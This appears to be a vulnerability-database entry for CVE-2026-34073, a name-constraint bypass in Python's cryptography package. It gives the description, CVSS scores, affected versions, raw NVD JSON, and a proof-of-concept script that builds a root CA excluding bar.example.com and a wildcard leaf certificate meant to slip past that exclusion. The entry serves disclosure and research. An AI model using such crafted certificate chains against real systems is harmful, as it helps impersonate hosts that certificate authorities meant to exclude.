Security Vulnerability Report
中文
CVE-2026-34073 CVSS 5.3 MEDIUM

CVE-2026-34073

Published: 2026-03-31 03:15:59
Last Modified: 2026-04-06 15:30:28

Description

cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Prior to version 46.0.6, DNS name constraints were only validated against SANs within child certificates, and not the "peer name" presented during each validation. Consequently, cryptography would allow a peer named bar.example.com to validate against a wildcard leaf certificate for *.example.com, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for bar.example.com. This issue has been patched in version 46.0.6.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:cryptography.io:cryptography:*:*:*:*:*:python:*:* - VULNERABLE
cryptography < 46.0.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-34073 # This script demonstrates the certificate configuration that triggers the bug. # Actual exploitation requires a vulnerable version of cryptography (< 46.0.6). from cryptography import x509 from cryptography.x509.oid import NameOID from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives.serialization import Encoding, PrivateFormat, NoEncryption import datetime import ipaddress # 1. Generate Root CA with Name Constraints (Excluding bar.example.com) root_key = rsa.generate_private_key(public_exponent=65537, key_size=2048) root_name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Example Root CA")]) root_cert = ( x509.CertificateBuilder() .subject_name(root_name) .issuer_name(root_name) .public_key(root_key.public_key()) .serial_number(x509.random_serial_number()) .not_valid_before(datetime.datetime.utcnow()) .not_valid_after(datetime.datetime.utcnow() + datetime.timedelta(days=365)) .add_extension( x509.BasicConstraints(ca=True, path_length=None), critical=True, ) # The critical extension: Exclude bar.example.com .add_extension( x509.NameConstraints( permitted_subtrees=None, excluded_subtrees=[x509.DNSName("bar.example.com")] ), critical=True, ) .sign(root_key, hashes.SHA256()) ) # 2. Generate Leaf Certificate for *.example.com leaf_key = rsa.generate_private_key(public_exponent=65537, key_size=2048) leaf_name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "*.example.com")]) leaf_cert = ( x509.CertificateBuilder() .subject_name(leaf_name) .issuer_name(root_name) .public_key(leaf_key.public_key()) .serial_number(x509.random_serial_number()) .not_valid_before(datetime.datetime.utcnow()) .not_valid_after(datetime.datetime.utcnow() + datetime.timedelta(days=365)) .add_extension( x509.SubjectAlternativeName([x509.DNSName("*.example.com")]), critical=True, ) .sign(root_key, hashes.SHA256()) ) print(f"Root Certificate generated with Excluded Subtree: bar.example.com") print(f"Leaf Certificate generated for: *.example.com") print("\nVulnerable Behavior:") print("In versions < 46.0.6, verifying 'bar.example.com' against the leaf cert would succeed,") print("ignoring the exclusion in the root certificate.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34073", "sourceIdentifier": "[email protected]", "published": "2026-03-31T03:15:59.123", "lastModified": "2026-04-06T15:30:27.887", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Prior to version 46.0.6, DNS name constraints were only validated against SANs within child certificates, and not the \"peer name\" presented during each validation. Consequently, cryptography would allow a peer named bar.example.com to validate against a wildcard leaf certificate for *.example.com, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for bar.example.com. This issue has been patched in version 46.0.6."}, {"lang": "es", "value": "cryptography es un paquete diseñado para exponer primitivas criptográficas y recetas a los desarrolladores de Python. Antes de la versión 46.0.6, las restricciones de nombre DNS solo se validaban contra los SANs dentro de los certificados secundarios, y no contra el 'nombre del par' presentado durante cada validación. En consecuencia, cryptography permitiría que un par llamado bar.example.com se validara contra un certificado hoja comodín para *.example.com, incluso si el certificado padre de la hoja (o superior) contenía una restricción de subárbol excluido para bar.example.com. Este problema ha sido parcheado en la versión 46.0.6."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-295"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cryptography.io:cryptography:*:*:*:*:*:python:*:*", "versionEndExcluding": "46.0.6", "matchCriteriaId": "E26252E8-09AF-4AAC-B25D-A89A3B9F6556"}]}]}], "references": [{"url": "https://github.com/pyca/cryptography/security/advisories/GHSA-m959-cc7f-wv43", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}